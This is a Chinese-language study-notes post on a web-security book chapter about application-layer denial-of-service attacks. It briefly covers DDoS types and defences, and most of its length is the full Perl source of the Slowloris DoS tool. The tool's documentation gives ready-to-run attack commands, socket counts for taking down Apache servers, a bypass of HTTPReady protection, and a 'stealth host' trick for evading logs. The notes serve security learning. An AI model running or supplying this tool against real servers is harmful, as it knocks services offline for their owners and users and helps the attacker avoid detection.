首页 > 代码库 > 《白帽子讲WEB安全》学习笔记之第13章 应用层拒绝服务攻击

《白帽子讲WEB安全》学习笔记之第13章 应用层拒绝服务攻击

第13章 应用层拒绝服务攻击

13.1 ddos简介

DDoS攻击通过大量合法的请求占用大量网络资源,以达到瘫痪网络的目的。这种攻击方式可分为以下几种:

q  通过使网络过载来干扰甚至阻断正常的网络通讯;

q  通过向服务器提交大量请求,使服务器超负荷;

q  阻断某一用户访问服务器;

q  阻断某服务与特定系统或个人的通讯。

IP Spoofing

IP欺骗攻击是一种黑客通过向服务端发送虚假的包以欺骗服务器的做法。具体说,就是将包中的源IP地址设置为不存在或不合法的值。服务器一旦接受到该包便会返回接受请求包,但实际上这个包永远返回不到来源处的计算机。这种做法使服务器必需开启自己的监听端口不断等待,也就浪费了系统各方面的资源。

LAND attack

这种攻击方式与SYNfloods类似,不过在LANDattack攻击包中的原地址和目标地址都是攻击对象的IP。这种攻击会导致被攻击的机器死循环,最终耗尽资源而死机。

ICMP floods

ICMPfloods是通过向未良好设置的路由器发送广播信息占用系统资源的做法。

Application

与前面叙说的攻击方式不同,Applicationlevel floods主要是针对应用软件层的,也就是高于OSI的。它同样是以大量消耗系统资源为目的,通过向IIS这样的网络服务程序提出无节制的资源申请来迫害正常的网络服务。

受到DDOS攻击特征:

q  被攻击主机上有大量等待的TCP连接;

q  网络中充斥着大量的无用的数据包;

q  源地址为假 制造高流量无用数据,造成网络拥塞,使受害主机无法正常和外界通讯;

q  利用受害主机提供的传输协议上的缺陷反复高速的发出特定的服务请求,使主机无法处理所有正常请求;

q  严重时会造成系统死机。

13.2 应用层DDOS

13.2.1 CC攻击

CC攻击是对一些消耗资源较大的应用页面不断发起正常的请求,以达到消耗服务端资源的目的。应用层DDOS多发生在分页请求。

防御应用层DDOS

q  限制请求频率

q  做好代码优化。

q  做好服务器优化

q  对经常使用的数据进行缓存

 

13.5 资源耗尽攻击

13.5.1 slowloris攻击

Slowloris攻击则是利用Web Server的漏洞或设计缺陷,直接造成拒绝服务。

Slowloris是在2009年由著名Web安全专家RSnake提出的一种攻击方法,其原理是以极低的速度往服务器发送HTTP请求。由于Web Server对于并发的连接数都有一定的上限,因此若是恶意地占用住这些连接不释放,那么WebServer的所有连接都将被恶意连接占用,从而无法接受新的请求,导致拒绝服务。

要保持住这个连接,RSnake构造了一个畸形的HTTP请求,准确地说,是一个不完整的HTTP请求。

GET / HTTP/1.1\r\n

       HOST: host\r\n

       User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3;     .NET CLR 3.0.4506.2152; .NET CLR3.5.30729; MSOffice 12)\r\n

       Content-Length: 42\r\n

在正常的HTTP包头中,是以两个CLRF表示HTTP Headers部分结束的。

Content-Length: 42\r\n\r\n

由于Web Server只收到了一个\r\n,因此将认为HTTP Headers部分没有结束,并保持此连接不释放,继续等待完整的请求。此时客户端再发送任意HTTP头,保持住连接即可。

“有限”的资源是WebServer的连接数。这是一个有上限的值,比如在Apache中这个值由MaxClients定义。如果恶意客户端可以无限制地将连接数占满,就完成了对有限资源的恶意消耗,导致拒绝服务。

slowloris.pl代码:

 

#!/usr/bin/perl -w
use strict;
use IO::Socket::INET;
use IO::Socket::SSL;
use Getopt::Long;
use Config;
 
$SIG{‘PIPE‘} = ‘IGNORE‘;    #Ignore broken pipe errors
 
print <<EOTEXT;
CCCCCCCCCCOOCCOOOOO888\@8\@8888OOOOCCOOO888888888\@\@\@\@\@\@\@\@\@8\@8\@\@\@\@888OOCooocccc::::
CCCCCCCCCCCCCCCOO888\@888888OOOCCCOOOO888888888888\@88888\@\@\@\@\@\@\@888\@8OOCCoococc:::
CCCCCCCCCCCCCCOO88\@\@888888OOOOOOOOOO8888888O88888888O8O8OOO8888\@88\@\@8OOCOOOCoc::
CCCCooooooCCCO88\@\@8\@88\@888OOOOOOO88888888888OOOOOOOOOOCCCCCOOOO888\@8888OOOCc::::
CooCoCoooCCCO8\@88\@8888888OOO888888888888888888OOOOCCCooooooooCCOOO8888888Cocooc:
ooooooCoCCC88\@88888\@888OO8888888888888888O8O8888OOCCCooooccccccCOOOO88\@888OCoccc
ooooCCOO8O888888888\@88O8OO88888OO888O8888OOOO88888OCocoococ::ccooCOO8O888888Cooo
oCCCCCCO8OOOCCCOO88\@88OOOOOO8888O888OOOOOCOO88888O8OOOCooCocc:::coCOOO888888OOCC
oCCCCCOOO88OCooCO88\@8OOOOOO88O888888OOCCCCoCOOO8888OOOOOOOCoc::::coCOOOO888O88OC
oCCCCOO88OOCCCCOO8\@\@8OOCOOOOO8888888OoocccccoCO8O8OO88OOOOOCc.:ccooCCOOOO88888OO
CCCOOOO88OOCCOOO8\@888OOCCoooCOO8888Ooc::...::coOO88888O888OOo:cocooCCCCOOOOOO88O
CCCOO88888OOCOO8\@\@888OCcc:::cCOO888Oc.........cCOOOOOOOOOOOc.:cooooCCCOOOOOOOOO
OOOOOO88888OOOO8\@8\@8Ooc:.:...cOO8O88c.      . .coOOO888OOOOCoooooccoCOOOOOCOOOO
OOOOO888\@8\@88888888Oo:. .  ...cO888Oc..          :oOOOOOOOOOCCoocooCoCoCOOOOOOOO
COOO888\@88888888888Oo:.       .O8888C: .oCOo. ...cCCCOOOoooooocccooooooooCCCOO
CCCCOO888888O888888Oo. .o8Oo. .cO88Oo:       :. .:..ccoCCCooCooccooccccoooooCCCC
coooCCO8\@88OO8O888Oo:::... ..  :cO8Oc. . .....  :. .:ccCoooooccoooocccccooooCCC
:ccooooCO888OOOO8OOc..:...::. .co8\@8Coc::..  .... ..:cooCooooccccc::::ccooCCooC
.:::coocccoO8OOOOOOC:..::....coCO8\@8OOCCOc:...  ....:ccoooocccc:::::::::cooooooC
....::::ccccoCCOOOOOCc......:oCO8\@8\@88OCCCoccccc::c::.:oCcc:::cccc:..::::coooooo
.......::::::::cCCCCCCoocc:cO888\@8888OOOOCOOOCoocc::.:cocc::cc:::...:::coocccccc
...........:::..:coCCCCCCCO88OOOO8OOOCCooCCCooccc::::ccc::::::.......:ccocccc:co
.............::....:oCCoooooCOOCCOCCCoccococc:::::coc::::..........:::cccc:cooo
 .................. .coocoooCCoco:::ccccccc:::ccc::..........  ....:::cc::::coC
   .  . ...   .... ..  .:cccoCooc:..  ::cccc:::c:.. ......... ......::::c:cccco
  .  .. ... ..   .. ..  ..:...:cooc::cccccc:..... .........  .....:::::ccoocc
      .   .         .. ..::cccc:.::ccoocc:. .............  . ..:::.:::::::ccco
 Welcome toSlowloris - the low bandwidth, yet greedy and poisonous HTTP client
EOTEXT
 
my ( $host, $port, $sendhost, $shost, $test,$version, $timeout, $connections );
my ( $cache, $httpready, $method, $ssl, $rand,$tcpto );
my $result = GetOptions(
   ‘shost=s‘   => \$shost,
   ‘dns=s‘     => \$host,
   ‘httpready‘ => \$httpready,
   ‘num=i‘     => \$connections,
   ‘cache‘     => \$cache,
   ‘port=i‘    => \$port,
   ‘https‘     => \$ssl,
   ‘tcpto=i‘   => \$tcpto,
   ‘test‘      => \$test,
   ‘timeout=i‘ => \$timeout,
   ‘version‘   => \$version,
);
 
if ($version) {
    print"Version 0.7\n";
    exit;
}
 
unless ($host) {
    print"Usage:\n\n\tperl $0 -dns [www.example.com] -options\n";
    print"\n\tType ‘perldoc $0‘ for help with options.\n\n";
    exit;
}
 
unless ($port) {
    $port =80;
    print"Defaulting to port 80.\n";
}
 
unless ($tcpto) {
    $tcpto =5;
    print"Defaulting to a 5 second tcp connection timeout.\n";
}
 
unless ($test) {
    unless($timeout) {
       $timeout = 100;
       print "Defaulting to a 100 second re-try timeout.\n";
    }
    unless($connections) {
       $connections = 1000;
       print "Defaulting to 1000 connections.\n";
    }
}
 
my $usemultithreading = 0;
if ( $Config{usethreads} ) {
    print"Multithreading enabled.\n";
   $usemultithreading = 1;
    usethreads;
    usethreads::shared;
}
else {
    print"No multithreading capabilites found!\n";
    print "Slowloris will be slower thannormal as a result.\n";
}
 
my $packetcount : shared     = 0;
my $failed : shared          = 0;
my $connectioncount : shared = 0;
 
srand() if ($cache);
 
if ($shost) {
   $sendhost = $shost;
}
else {
   $sendhost = $host;
}
if ($httpready) {
    $method= "POST";
}
else {
    $method= "GET";
}
 
if ($test) {
    my@times = ( "2", "30", "90", "240","500" );
    my$totaltime = 0;
    foreach(@times) {
       $totaltime = $totaltime + $_;
    }
   $totaltime = $totaltime / 60;
    print"This test could take up to $totaltime minutes.\n";
 
    my$delay   = 0;
    my$working = 0;
    my$sock;
 
    if($ssl) {
        if (
           $sock = new IO::Socket::SSL(
               PeerAddr => "$host",
               PeerPort => "$port",
               Timeout  => "$tcpto",
               Proto    => "tcp",
           )
          )
        {
           $working = 1;
        }
    }
    else {
        if (
           $sock = new IO::Socket::INET(
               PeerAddr => "$host",
               PeerPort => "$port",
               Timeout  => "$tcpto",
               Proto    => "tcp",
           )
          )
        {
           $working = 1;
        }
    }
    if($working) {
        if($cache) {
            $rand = "?" . int(rand(99999999999999) );
        }
        else{
           $rand = "";
        }
        my$primarypayload =
           "GET /$rand HTTP/1.1\r\n"
          ."Host: $sendhost\r\n"
          ."User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152;.NET CLR 3.5.30729; MSOffice 12)\r\n"
          ."Content-Length: 42\r\n";
        if (print $sock $primarypayload ) {
           print "Connection successful, now comes the waitinggame...\n";
        }
        else{
           print
"That‘s odd - I connected but couldn‘t sendthe data to $host:$port.\n";
           print "Is something wrong?\nDying.\n";
           exit;
        }
    }
    else {
        print "Uhm... I can‘t connect to$host:$port.\n";
       print "Is something wrong?\nDying.\n";
       exit;
    }
    for ( my$i = 0 ; $i <= $#times ; $i++ ) {
       print "Trying a $times[$i] second delay: \n";
       sleep( $times[$i] );
        if ( print $sock "X-a: b\r\n" ){
           print "\tWorked.\n";
           $delay = $times[$i];
        }
        else{
           if ( $SIG{__WARN__} ) {
               $delay = $times[ $i - 1 ];
               last;
           }
            print "\tFailed after $times[$i]seconds.\n";
        }
    }
 
    if (print $sock "Connection: Close\r\n\r\n" ) {
       print "Okay that‘s enough time. Slowloris closed thesocket.\n";
       print "Use $delay seconds for -timeout.\n";
       exit;
    }
    else {
       print "Remote server closed socket.\n";
       print "Use $delay seconds for -timeout.\n";
       exit;
    }
    if ($delay < 166 ) {
       print <<EOSUCKS2BU;
Since the timeout ended up being so small ($delayseconds) and it generally
takes between 200-500 threads for most servers andassuming any latency at
all...  youmight have trouble using Slowloris against this target.  You can
tweak the -timeout flag down to less than 10seconds but it still may not
build the sockets in time.
EOSUCKS2BU
    }
}
else {
    print
"Connecting to $host:$port every $timeoutseconds with $connections sockets:\n";
 
    if($usemultithreading) {
       domultithreading($connections);
    }
    else {
       doconnections( $connections, $usemultithreading );
    }
}
 
sub doconnections {
    my ($num, $usemultithreading ) = @_;
    my (@first, @sock, @working );
    my$failedconnections = 0;
   $working[$_] = 0 foreach ( 1 .. $num );    #initializing
   $first[$_]   = 0 foreach ( 1 .. $num);    #initializing
    while(1) {
       $failedconnections = 0;
       print "\t\tBuilding sockets.\n";
       foreach my $z ( 1 .. $num ) {
           if ( $working[$z] == 0 ) {
               if ($ssl) {
                   if (
                        $sock[$z] = new IO::Socket::SSL(
                            PeerAddr =>"$host",
                            PeerPort =>"$port",
                            Timeout  => "$tcpto",
                            Proto    => "tcp",
                       )
                      )
                   {
                        $working[$z] = 1;
                   }
                   else {
                        $working[$z] = 0;
                   }
               }
               else {
                    if (
                        $sock[$z] = newIO::Socket::INET(
                            PeerAddr =>"$host",
                            PeerPort =>"$port",
                            Timeout  => "$tcpto",
                            Proto    => "tcp",
                        )
                      )
                   {
                        $working[$z] = 1;
                        $packetcount =$packetcount + 3;  #SYN, SYN+ACK, ACK
                   }
                   else {
                        $working[$z] = 0;
                   }
               }
               if ( $working[$z] == 1 ) {
                   if ($cache) {
                        $rand = "?" .int( rand(99999999999999) );
                   }
                    else {
                        $rand = "";
                   }
                   my $primarypayload =
                        "$method /$randHTTP/1.1\r\n"
                      . "Host:$sendhost\r\n"
                      . "User-Agent:Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729;MSOffice 12)\r\n"
                      . "Content-Length:42\r\n";
                   my $handle = $sock[$z];
                   if ($handle) {
                        print $handle"$primarypayload";
                        if ( $SIG{__WARN__} ) {
                            $working[$z] = 0;
                            close $handle;
                            $failed++;
                           $failedconnections++;
                        }
                        else {
                            $packetcount++;
                            $working[$z] = 1;
                        }
                   }
                   else {
                        $working[$z] = 0;
                        $failed++;
                        $failedconnections++;
                   }
               }
               else {
                   $working[$z] = 0;
                   $failed++;
                   $failedconnections++;
               }
           }
        }
       print "\t\tSending data.\n";
       foreach my $z ( 1 .. $num ) {
           if ( $working[$z] == 1 ) {
               if ( $sock[$z] ) {
                   my $handle = $sock[$z];
                   if ( print $handle "X-a: b\r\n" ) {
                        $working[$z] = 1;
                        $packetcount++;
                   }
                   else {
                       $working[$z] = 0;
                        #debugging info
                        $failed++;
                        $failedconnections++;
                   }
               }
               else {
                   $working[$z] = 0;
                    #debugging info
                   $failed++;
                   $failedconnections++;
               }
           }
        }
       print
"Current stats:\tSlowloris has now sent$packetcount packets successfully.\nThis thread now sleeping for $timeoutseconds...\n\n";
       sleep($timeout);
    }
}
 
sub domultithreading {
    my($num) = @_;
    my@thrs;
    my$i                    = 0;
    my$connectionsperthread = 50;
    while ($i < $num ) {
       $thrs[$i] =
         threads->create( \&doconnections, $connectionsperthread, 1 );
        $i+= $connectionsperthread;
    }
    my@threadslist = threads->list();
    while ($#threadslist > 0 ) {
       $failed = 0;
    }
}
 
__END__
 
=head1 TITLE
 
Slowloris
 
=head1 VERSION
 
Version 0.7 Beta
 
=head1 DATE
 
06/17/2009
 
=head1 AUTHOR
 
RSnake <h@ckers.org> with threading fromJohn Kinsella
 
=head1 ABSTRACT
 
Slowloris both helps identify the timeout windowsof a HTTP server or Proxy server, can bypass httpready protection andultimately performs a fairly low bandwidth denial of service.  It has the added benefit of allowing theserver to come back at any time (once the program is killed), and not spammingthe logs excessively.  It also keeps theload nice and low on the target server, so other vital processes don‘t dieunexpectedly, or cause alarm to anyone who is logged into the server for otherreasons.
 
=head1 AFFECTS
 
Apache 1.x, Apache 2.x, dhttpd, GoAhead WebServer,others...?
 
=head1 NOT AFFECTED
 
IIS6.0, IIS7.0, lighttpd, nginx, Cherokee, Squid,others...?
 
=head1 DESCRIPTION
 
Slowloris is designed so that a single machine(probably a Linux/UNIX machine since Windows appears to limit how many socketsyou can have open at any given time) can easily tie up a typical web server orproxy server by locking up all of it‘s threads as they patiently wait for moredata.  Some servers may have a smallertolerance for timeouts than others, but Slowloris can compensate for that bycustomizing the timeouts.  There is anadded function to help you get started with finding the right sized timeouts aswell.
 
As a side note, Slowloris does not consume a lotof resources so modern operating systems don‘t have a need to start shuttingdown sockets when they come under attack, which actually in turn makesSlowloris better than a typical flooder in certain circumstances.  Think of Slowloris as the HTTP equivalent ofa SYN flood.
 
=head2 Testing
 
If the timeouts are completely unknown, Slowloriscomes with a mode to help you get started in your testing:
 
=head3 Testing Example:
 
./slowloris.pl -dns www.example.com -port 80 -test
 
This won‘t give you a perfect number, but itshould give you a pretty good guess as to where to shoot for.  If you really must know the exact number, youmay want to mess with the @times array (although I wouldn‘t suggest that unlessyou know what you‘re doing).
 
=head2 HTTP DoS
 
Once you find a timeout window, you can tuneSlowloris to use certain timeout windows. For instance, if you know that the server has a timeout of 3000 seconds,but the the connection is fairly latent you may want to make the timeout window2000 seconds and increase the TCP timeout to 5 seconds.  The following example uses 500 sockets.  Most average Apache servers, for instance,tend to fall down between 400-600 sockets with a default configuration.  Some are less than 300.  The smaller the timeout the faster you willconsume all the available resources as other sockets that are in use becomeavailable - this would be solved by threading, but that‘s for a futurerevision.  The closer you can get to theexact number of sockets, the better, because that will reduce the amount oftries (and associated bandwidth) that Slowloris will make to be successful.  Slowloris has no way to identify if it‘ssuccessful or not though.
 
=head3 HTTP DoS Example:
 
./slowloris.pl -dns www.example.com -port 80-timeout 2000 -num 500 -tcpto 5
 
=head2 HTTPReady Bypass
 
HTTPReady only follows certain rules so with aswitch Slowloris can bypass HTTPReady by sending the attack as a POST verses aGET or HEAD request with the -httpready switch.
 
=head3 HTTPReady Bypass Example
 
./slowloris.pl -dns www.example.com -port 80-timeout 2000 -num 500 -tcpto 5 -httpready
 
=head2 Stealth Host DoS
 
If you know the server has multiple webserversrunning on it in virtual hosts, you can send the attack to a seperate virtualhost using the -shost variable.  This waythe logs that are created will go to a different virtual host log file, butonly if they are kept separately.
 
=head3 Stealth Host DoS Example:
 
./slowloris.pl -dns www.example.com -port 80-timeout 30 -num 500 -tcpto 1 -shost www.virtualhost.com
 
=head2 HTTPS DoS
 
Slowloris does support SSL/TLS on an experimentalbasis with the -https switch.  Theusefulness of this particular option has not been thoroughly tested, and infact has not proved to be particularly effective in the very few tests Iperformed during the early phases of development.  Your mileage may vary.
 
=head3 HTTPS DoS Example:
 
./slowloris.pl -dns www.example.com -port 443-timeout 30 -num 500 -https
 
=head2 HTTP Cache
 
Slowloris does support cache avoidance on anexperimental basis with the -cache switch. Some caching servers may look at the request path part of the header,but by sending different requests each time you can abuse more resources.  The usefulness of this particular option hasnot been thoroughly tested.  Your mileagemay vary.
 
=head3 HTTP Cache Example:
 
./slowloris.pl -dns www.example.com -port 80-timeout 30 -num 500 -cache
 
=head1 Issues
 
Slowloris is known to not work on several serversfound in the NOT AFFECTED section above and through Netscalar devices, in it‘scurrent incarnation.  They may be waysaround this, but not in this version at this time.  Most likely most anti-DDoS and load balancerswon‘t be thwarted by Slowloris, unless Slowloris is extremely distrubted,although only Netscalar has been tested.
 
Slowloris isn‘t completely quiet either, becauseit can‘t be.  Firstly, it does send outquite a few packets (although far far less than a typical GET requestflooder).  So it‘s not invisible if thetraffic to the site is typically fairly low. On higher traffic sites it will unlikely that it is noticed in the logfiles - although you may have trouble taking down a larger site with just onemachine, depending on their architecture.
 
For some reason Slowloris works way better if runfrom a *Nix box than from Windows.  Iwould guess that it‘s probably to do with the fact that Windows limits theamount of open sockets you can have at once to a fairly small number.  If you find that you can‘t open any moreports than ~130 or so on any server you test - you‘re probably running intothis "feature" of modern operating systems.  Either way, this program seems to work bestif run from FreeBSD. 
 
Once you stop the DoS all the sockets willnaturally close with a flurry of RST and FIN packets, at which time the webserver or proxy server will write to it‘s logs with a lot of 400 (Bad Request)errors.  So while the sockets remainopen, you won‘t be in the logs, but once the sockets close you‘ll have quite afew entries all lined up next to one another. You will probably be easy to find if anyone is looking at their logs atthat point - although the DoS will be over by that point too.
 
=head1 What is a slow loris?
 
What exactly is a slow loris?  It‘s an extremely cute but endangered mammalthat happens to also be poisonous.  Checkthis out:
 
http://www.youtube.com/watch?v=rLdQ3UhLoD4

 

拒绝服务攻击的本质就是对有限资源的无限制滥用。

13.5.2 http post dos

原理:

针对任意HTTPServer,建立一个连接,指定一个比较大的content-length,然后以很低的速度发包,比如10-100s发一个字节,hold住这个连接不断开。如果客户端持续建立这样的连接,那么服务器上可用的连接将很快被占满,从而导致DOS.

参考:http://www.unclejoey.com/tag/http-post/

13.5.3 server limit dos

DDOS除了看到服务端的DDOS以外还需要注意客户端的DDOS,这种情况一般是通过Cookie来实现的。

 


《白帽子讲WEB安全》学习笔记之第13章 应用层拒绝服务攻击